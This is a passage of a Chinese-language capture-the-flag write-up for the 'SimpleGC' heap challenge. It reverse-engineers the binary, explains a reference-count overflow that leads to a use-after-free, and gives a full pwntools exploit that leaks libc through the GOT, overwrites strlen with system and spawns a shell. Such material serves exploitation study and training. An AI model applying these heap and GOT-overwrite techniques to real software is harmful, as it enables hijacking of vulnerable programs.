|       |   0x00401210      mov edi, str.invalid_index                 ; 0x4016e3 ; "invalid index"
|       |   0x00401215      call sym.imp.puts                          ; int puts(const char *s)
|      ,==< 0x0040121a      jmp 0x401268
|      ||   ; JMP XREF from 0x0040120e (sub.Enter_index:_1c4)
|      |`-> 0x0040121c      mov eax, dword [local_14h]
|      |    0x0040121f      mov rax, qword [rax*8 + 0x6020e0]          ; [0x6020e0:8]=0 ; 取出 users[i]
|      |    0x00401227      test rax, rax
|      |,=< 0x0040122a      je 0x401267                                 ; 如果 users[i] 为 0,函数结束
|      ||   0x0040122c      mov eax, dword [local_14h]                  ; 否则继续
|      ||   0x0040122f      mov rax, qword [rax*8 + 0x6020e0]          ; [0x6020e0:8]=0
|      ||   0x00401237      mov rax, qword [rax + 0x10]                ; [0x10:8]=-1 ; 16 ; 取出 users[i]->group
|      ||   0x0040123b      mov rdi, rax
|      ||   0x0040123e      call sub.strcmp_139                        ; 将对应的 group->ref_count 减 1
|      ||   0x00401243      mov eax, dword [local_14h]
|      ||   0x00401246      mov rax, qword [rax*8 + 0x6020e0]          ; [0x6020e0:8]=0 ; 取出 users[i]
|      ||   0x0040124e      mov rdi, rax
|      ||   0x00401251      call sym.imp.free                          ; void free(void *ptr) ; 释放 users[i]
|      ||   0x00401256      mov eax, dword [local_14h]
|      ||   0x00401259      mov qword [rax*8 + 0x6020e0], 0            ; [0x6020e0:8]=0 ; 将 users[i] 置为 0
|     ,===< 0x00401265      jmp 0x401268
|     |||   ; JMP XREF from 0x0040122a (sub.Enter_index:_1c4)
|     ||`-> 0x00401267      nop
|     ||    ; JMP XREF from 0x00401265 (sub.Enter_index:_1c4)
|     ||    ; JMP XREF from 0x0040121a (sub.Enter_index:_1c4)
|     ``--> 0x00401268      mov rax, qword [local_8h]
|           0x0040126c      xor rax, qword fs:[0x28]
|       ,=< 0x00401275      je 0x40127c
|       |   0x00401277      call sym.imp.__stack_chk_fail              ; void __stack_chk_fail(void)
|       |   ; JMP XREF from 0x00401275 (sub.Enter_index:_1c4)
|       `-> 0x0040127c      leave
\           0x0040127d      ret

其中调用了函数 sub.strcmp_139(),如下:

[0x00400a60]> pdf @ sub.strcmp_139 
/ (fcn) sub.strcmp_139 139
|   sub.strcmp_139 (int arg_5fh);
|           ; var int local_18h @ rbp-0x18
|           ; var int local_2h @ rbp-0x2
|           ; arg int arg_5fh @ rbp+0x5f
|           ; CALL XREF from 0x0040123e (sub.Enter_index:_1c4)
|           0x00401139      push rbp
|           0x0040113a      mov rbp, rsp
|           0x0040113d      sub rsp, 0x20
|           0x00401141      mov qword [local_18h], rdi                  ; [local_18h] 赋值为传入的 group
|           0x00401145      mov word [local_2h], 0                      ; 循环计数 i,初始化为 0
|       ,=< 0x0040114b      jmp 0x4011ba
|       |   ; JMP XREF from 0x004011bf (sub.strcmp_139)
|      .--> 0x0040114d      movzx eax, word [local_2h]
|      :|   0x00401151      cdqe
|      :|   0x00401153      mov rax, qword [rax*8 + 0x6023e0]          ; [0x6023e0:8]=0 ; 取出 groups[i]
|      :|   0x0040115b      test rax, rax
|     ,===< 0x0040115e      je 0x4011b4                                 ; 如果 groups[i] 为 0,进行下一次循环,即取出第一个不为 0 的 group[i]
|     |:|   0x00401160      movzx eax, word [local_2h]
|     |:|   0x00401164      cdqe
|     |:|   0x00401166      mov rax, qword [rax*8 + 0x6023e0]          ; [0x6023e0:8]=0
|     |:|   0x0040116e      mov rdx, qword [rax]                        ; 取出 groups[i]->group_name
|     |:|   0x00401171      mov rax, qword [local_18h]                  ; 取出传入的 group
|     |:|   0x00401175      mov rsi, rdx
|     |:|   0x00401178      mov rdi, rax
|     |:|   0x0040117b      call sym.imp.strcmp                        ; 进行比较
|     |:|   0x00401180      test eax, eax
|    ,====< 0x00401182      jne 0x4011b5                                ; 如果不相等,进行下一次循环
|    ||:|   0x00401184      movzx eax, word [local_2h]                  ; 否则继续
|    ||:|   0x00401188      cdqe
|    ||:|   0x0040118a      mov rax, qword [rax*8 + 0x6023e0]          ; [0x6023e0:8]=0
|    ||:|   0x00401192      movzx eax, byte [rax + 8]                  ; [0x8:1]=255 ; 8 ; 取出 groups[i]->ref_count
|    ||:|   0x00401196      test al, al
|   ,=====< 0x00401198      je 0x4011b5                                 ; 如果 ref_count 为 0,继续下一次循环
|   |||:|   0x0040119a      movzx eax, word [local_2h]                  ; 否则继续
|   |||:|   0x0040119e      cdqe
|   |||:|   0x004011a0      mov rax, qword [rax*8 + 0x6023e0]          ; [0x6023e0:8]=0
|   |||:|   0x004011a8      movzx edx, byte [rax + 8]                  ; [0x8:1]=255 ; 8 ; 取出 groups[i]->ref_count
|   |||:|   0x004011ac      sub edx, 1                                  ; 将 ref_count 减 1
|   |||:|   0x004011af      mov byte [rax + 8], dl                      ; 将低字节放回
|  ,======< 0x004011b2      jmp 0x4011b5
|  ||||:|   ; JMP XREF from 0x0040115e (sub.strcmp_139)
|  |||`---> 0x004011b4      nop
|  ||| :|   ; JMP XREF from 0x00401182 (sub.strcmp_139)
|  ||| :|   ; JMP XREF from 0x00401198 (sub.strcmp_139)
|  ||| :|   ; JMP XREF from 0x004011b2 (sub.strcmp_139)
|  ```----> 0x004011b5      add word [local_2h], 1                      ; 循环计数 + 1
|      :|   ; JMP XREF from 0x0040114b (sub.strcmp_139)
|      :`-> 0x004011ba      cmp word [local_2h], 0x5f                  ; [0x5f:2]=0xffff ; '_' ; 95
|      `==< 0x004011bf      jbe 0x40114d                                ; 继续循环
|           0x004011c1      nop
|           0x004011c2      leave
\           0x004011c3      ret

该函数的作用是遍历 groups 寻找与传入 group 相同的 groups[i],然后将 groups[i]->ref_count 减 1。这里有个问题,正如我们在 edit-a-group 分析的,通过修改 group,可能使 groups 中存在两个同名的 group,那么根据这里的逻辑,这两个同名的 group 的 ref_count 都会被减去 1,可能导致 UAF 漏洞。

然后是删除 user 的过程中,只释放了 user 本身和 user->group,而 user->name 没有被释放。可能导致信息泄漏。

漏洞利用

逆向分析完成,来简单地总结一下。

struct user { uint8_t age; char *name; char *group; } user;

struct user *users[0x60]; // 0x6020e0 struct group *groups[0x60]; // 0x6023e0

- 添加 user 时将创建 user 结构体,name 字符串两个 chunk
- 新建 group 时将创建 group 结构体,group_name 字符串两个 chunk
- group 本身和 group->group_name 由 GC 线程来释放
- user 在删除时释放了 user 本身,group->ref_count 减 1,而 user->name 将导致信息泄漏
- ref_count 类型为 uint8_t 且在修改组是不会减 1,将导致溢出(例如:0x100 和 0x0),使 GC 进行释放 group 的操作
- 如果有两个同名的 group,两个 user 分别指向这两个 group,那么释放其中一个 user 时,另一个也会被释放,造成 UAF

然后是关于 tcache 的问题。在这个程序中有两个线程,thread-1 为主线程,thread-2 为 GC 线程,它们都有自己的 tcache。程序中所有 chunk 的分配工作都由 thread-1 执行,thread-2 只释放(group和group_name)不分配,所以在它的 tcache bins 被装满以后所有该线程释放的 fast chunk 都被放进 fastbins 中。而 fastbins 是进程公用的,所以会被主线程在分配时使用。

第一种方法,我们利用 ref_count 溢出的 UAF。

#### overflow
首先我们来溢出 ref_count:
```python
def overflow():
    sleep(1)
    for i in range(0x100-1):
        add_user('a'*8, 'A'*4)
        edit_group(0, 'n', 'B'*4)
        delete_user(0)

    add_user('a'*8, 'A'*4)  # overflow ref_count
    sleep(2)    # group_name and group freed by GC

首先说一下 for 循环,前几次当 thread-2 的 tcache 还未装满时,它的操作和下面类似(顺序可能不同):

user:       malloc(24)=0x6033c0 <= thread-1 tcache
name:       malloc(9)=0x6034a0
group_name: malloc(24)=0x6034c0
group:      malloc(16)=0x6034e0

user:       free(0x6033c0)  => thread-1 tcache

group_name: free(0x6034c0)  => thread-2 tcache
group:      free(0x6034e0)  => thread-2 tcache

当 thread-2 tcache 装满时,它释放的 chunk 都会被放进 fastbins,于是就可以被 thread-1 取出,下面是第 4 和 第 5 次循环:

user:       malloc(24)=0x6033c0 <= thread-1 tcache
name:       malloc(9)=0x603500
group_name: malloc(24)=0x603520
group:      malloc(16)=0x603540

user:       free(0x6033c0)  => thread-1 tcache

group_name: free(0x603520)  => thread-2 tcache
group:      free(0x603540)  => fastbin
user:       malloc(24)=0x6033c0 <= thread-1 tcache
name:       malloc(9)=0x603540  <== fastbin
group_name: malloc(24)=0x603560
group:      malloc(16)=0x603580

user:       free(0x6033c0)  => thread-1 tcache

group_name: free(0x603560)  => fastbin
group:      free(0x603580)  => fastbin

此时的 thread-1 tcache 和 fastbin 如下所示:

tcache:     0x6033c0
fastbin:    0x603560 -> 0x603580

于是第 6 次循环,在第一次从 fastbin 中取出 chunk 后,剩余的 chunk 会被放入 thread-1 tcache(逆序),然后再从 tcache 里取(FILO):

user:       malloc(24)=0x6033c0 <= tcache
name:       malloc(9)=0x603580  <= fastbin  (tcache: 0x603560)
group_name: malloc(24)=0x603560 <= tcache
group:      malloc(16)=0x6035a0

user:       free(0x6033c0)  => tcache

group_name: free(0x603560)  => fastbin
group:      free(0x6035a0)  => fastbin

再往后,其实都是重复这个过程。循环结束时的状态为:

gdb-peda$ x/4gx 0x6020e0
0x6020e0:       0x0000000000000000      0x0000000000000000      <-- users[]
0x6020f0:       0x0000000000000000      0x0000000000000000
gdb-peda$ x/4gx 0x6023e0
0x6023e0:       0x00000000006033a0      0x0000000000000000      <-- groups[]
0x6023f0:       0x0000000000000000      0x0000000000000000
gdb-peda$ x/2gx 0x6033a0 
0x6033a0:       0x0000000000603380      0x00000000000000ff          <-- ref_count
gdb-peda$ x/2gx 0x603380
0x603380:       0x0000000041414141      0x0000000000000000          <-- group_name
tcache:     0x6033c0
fastbin:    0x603560 -> 0x6054c0

紧接着我们再添加一个 user,导致 ref_count 溢出为 0x100 后,程序只有只有将低位的 0x00 放回 ref_count,于是 GC 会将 group_name 和 group struct 依次释放,放进 fastbin。

user:       malloc(24)=0x6033c0 <= tcache
name:       malloc(9)=0x6054c0  <= fastbin  (tcache: 0x603560   ; fastbin:  )

fake group_name: free(0x603380) => fastbin  (tcache: 0x603560 ; fastbin: 0x603380)
fake group:      free(0x6033a0) => fastbin  (tcache: 0x603560 ; fastbin: 0x603380 -> 0x6033a0)

group_name: malloc(24)=0x603560 <= tcache   (tcache:    ; fastbin: 0x603380 -> 0x6033a0)
group:      malloc(16)=0x6033a0 <= fastbin  (tcache: 0x603380   ; fastbin:  )

最终结果为:

gdb-peda$ x/4gx 0x6020e0
0x6020e0:       0x00000000006033c0      0x0000000000000000      <-- users[]
0x6020f0:       0x0000000000000000      0x0000000000000000
gdb-peda$ x/4gx 0x6023e0
0x6023e0:       0x0000000000000000      0x0000000000000000      <-- groups[]
0x6023f0:       0x0000000000000000      0x0000000000000000
gdb-peda$ x/3gx 0x6033c0
0x6033c0:       0x0000000000000003      0x00000000006054c0      <-- users[0]
0x6033d0:       0x0000000000603380                                  <-- users[0]->group
gdb-peda$ x/2gx 0x603380
0x603380:       0x0000000000000000      0x0000000000000000          <-- ref_count

最后将 groups[0] 赋值为 0,表现为 groups[] 为空。但 users[0] 依然存在,users[0]->group 依然指向 group_name0x603380),悬指针产生。

uaf and leak

接下来利用悬指针泄漏 libc 的地址:

def leak():
    add_user('b'*8, 'B'*4)  # group
    strlen_got = elf.got['strlen']
    edit_group(0, "y", p64(0)+p64(strlen_got)+p64(strlen_got))

    __strlen_sse2_addr = u64(display_user(1)[13:19].ljust(8, '\0'))
    libc_base = __strlen_sse2_addr - 0xa83f0
    system_addr = libc_base + libc.symbols['system']
    log.info("__strlen_sse2 address: 0x%x" % __strlen_sse2_addr)
    log.info("libc base: 0x%x" % libc_base)
    log.info("system address: 0x%x" % system_addr)

    return system_addr

在执行该函数前的 tcache 如下:

tcache:     0x603380

当我们添加一个 user 时,因为 group “BBBB” 不存在,所以首先创建一个 group,然后再创建 user,这个 user struct 将从 thread-1 tcache 中取出。接下来我们修改 user[0]->group 就是修改 user[1]。我们将 strlen@got 写进去,在延迟绑定之后,它将指向 strlen 函数的地址,如下所示:

gdb-peda$ x/4gx 0x6020e0
0x6020e0:       0x00000000006033c0      0x0000000000603380      <-- users[]
0x6020f0:       0x0000000000000000      0x0000000000000000
gdb-peda$ x/4gx 0x6023e0
0x6023e0:       0x00000000006033a0      0x0000000000000000      <-- groups[]
0x6023f0:       0x0000000000000000      0x0000000000000000
gdb-peda$ x/3gx 0x6033c0
0x6033c0:       0x0000000000000003      0x00000000006054c0      <-- users[0]
0x6033d0:       0x0000000000603380
gdb-peda$ x/3gx 0x603380
0x603380:       0x0000000000000000      0x0000000000602030      <-- users[1]
0x603390:       0x0000000000602030                                      <-- fake users[1]->group

接下来只要 display users[1],就可以将 strlen 的地址打印出来,然而:

gdb-peda$ x/gx 0x602030
0x602030:       0x00007ffff7aa03f0
gdb-peda$ disassemble strlen
Dump of assembler code for function strlen:
   0x00007ffff7a8bee0 <+0>:     mov    rax,QWORD PTR [rip+0x345f71]        # 0x7ffff7dd1e58
   0x00007ffff7a8bee7 <+7>:     lea    rdx,[rip+0xea982]        # 0x7ffff7b76870 <__strlen_avx2>
   0x00007ffff7a8beee <+14>:    mov    eax,DWORD PTR [rax+0xa8]
   0x00007ffff7a8bef4 <+20>:    and    eax,0x20c00
   0x00007ffff7a8bef9 <+25>:    cmp    eax,0xc00
   0x00007ffff7a8befe <+30>:    lea    rax,[rip+0x144eb]        # 0x7ffff7aa03f0 <__strlen_sse2>
   0x00007ffff7a8bf05 <+37>:    cmove  rax,rdx
   0x00007ffff7a8bf09 <+41>:    ret    
End of assembler dump.

strlen@got 指向的并不是 strlen 函数,而是它里面的 __strlen_sse2,这就很奇怪了。原因出在这次 commit。libc-2.26 中使用了 AVX2 对 strlen 系列函数进行优化。

那我们修改一下,反正计算偏移的方法是相同的:

gdb-peda$ vmmap libc
Start              End                Perm      Name
0x00007ffff79f8000 0x00007ffff7bce000 r-xp      /home/firmy/SimpleGC/libc-2.26.so
0x00007ffff7bce000 0x00007ffff7dce000 ---p      /home/firmy/SimpleGC/libc-2.26.so
0x00007ffff7dce000 0x00007ffff7dd2000 r--p      /home/firmy/SimpleGC/libc-2.26.so
0x00007ffff7dd2000 0x00007ffff7dd4000 rw-p      /home/firmy/SimpleGC/libc-2.26.so
gdb-peda$ p 0x7ffff7aa03f0 - 0x00007ffff79f8000
$2 = 0xa83f0

然而就得到了 system 的地址。

get shell

最后只需要修改 strlen@got 为 system@got 就可以了:

def overwrite(system_addr):
    edit_group(1, "y", p64(system_addr))    # strlen_got -> system_got

def pwn():
    add_user("/bin/sh", "B"*4)       # system('/bin/sh')
    io.interactive()
gdb-peda$ x/gx 0x602030
0x602030:       0x00007ffff7a3fdc0
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x7ffff7a3fdc0 <system>

exploit

完整的 exp 如下:

#!/usr/bin/env python

from pwn import *

# context.log_level = 'debug'

io = process(['./sgc'], env={'LD_PRELOAD':'./libc-2.26.so'})
libc = ELF('libc-2.26.so')
elf = ELF('sgc')

def add_user(name, group):
    io.sendlineafter("Action: ", '0')
    io.sendlineafter("name: ", name)
    io.sendlineafter("group: ", group)
    io.sendlineafter("age: ", '3')

def display_group(name):
    io.sendlineafter("Action: ", '1')
    io.sendlineafter("name: ", name)

def display_user(idx):
    io.sendlineafter("Action: ", '2')
    io.sendlineafter("index: ", str(idx))
    return io.recvuntil("0: ")

def edit_group(idx, propogate, name):
    io.sendlineafter("Action: ", '3')
    io.sendlineafter("index: ", str(idx))
    io.sendlineafter("(y/n): ", propogate)
    io.sendlineafter("name: ", name)

def delete_user(idx):
    io.sendlineafter("Action: ", '4')
    io.sendlineafter("index: ", str(idx))

def overflow():
    sleep(1)
    for i in range(0x100-1):
        add_user('a'*8, 'A'*4)
        edit_group(0, 'n', 'B'*4)
        delete_user(0)

    add_user('a'*8, 'A'*4)  # overflow ref_count
    sleep(2)    # group_name and group freed by GC

def leak():
    add_user('b'*8, 'B'*4)  # group
    strlen_got = elf.got['strlen']
    edit_group(0, "y", p64(0)+p64(strlen_got)+p64(strlen_got))

    __strlen_sse2_addr = u64(display_user(1)[13:19].ljust(8, '\0'))
    libc_base = __strlen_sse2_addr - 0xa83f0
    system_addr = libc_base + libc.symbols['system']
    log.info("__strlen_sse2 address: 0x%x" % __strlen_sse2_addr)
    log.info("libc base: 0x%x" % libc_base)
    log.info("system address: 0x%x" % system_addr)

    return system_addr

def overwrite(system_addr):
    edit_group(1, "y", p64(system_addr))    # strlen_got -> system_got

def pwn():
    add_user("/bin/sh\x00", "B"*4)       # system('/bin/sh')
    io.interactive()

if __name__ == "__main__":
    overflow()
    system_addr = leak()
    overwrite(system_addr)
    pwn()

虽然这一切看起来都没有问题,但我在运行的时候 system(‘/bin/sh’) 却执行失败了,应该是我的 /bin/sh 不能使用这个 libc 的原因:

LD_PRELOAD=./libc-2.26.so /bin/sh
[1]    14834 segmentation fault (core dumped)  LD_PRELOAD=./libc-2.26.so /bin/sh

应该换成 Ubuntu-17.10 试试。(本机Arch)

第二种方法,我们利用两个具有同名 group 的 user 释放时的 UAF。这种方法似乎与 tcache 的关系更大一点。

参考资料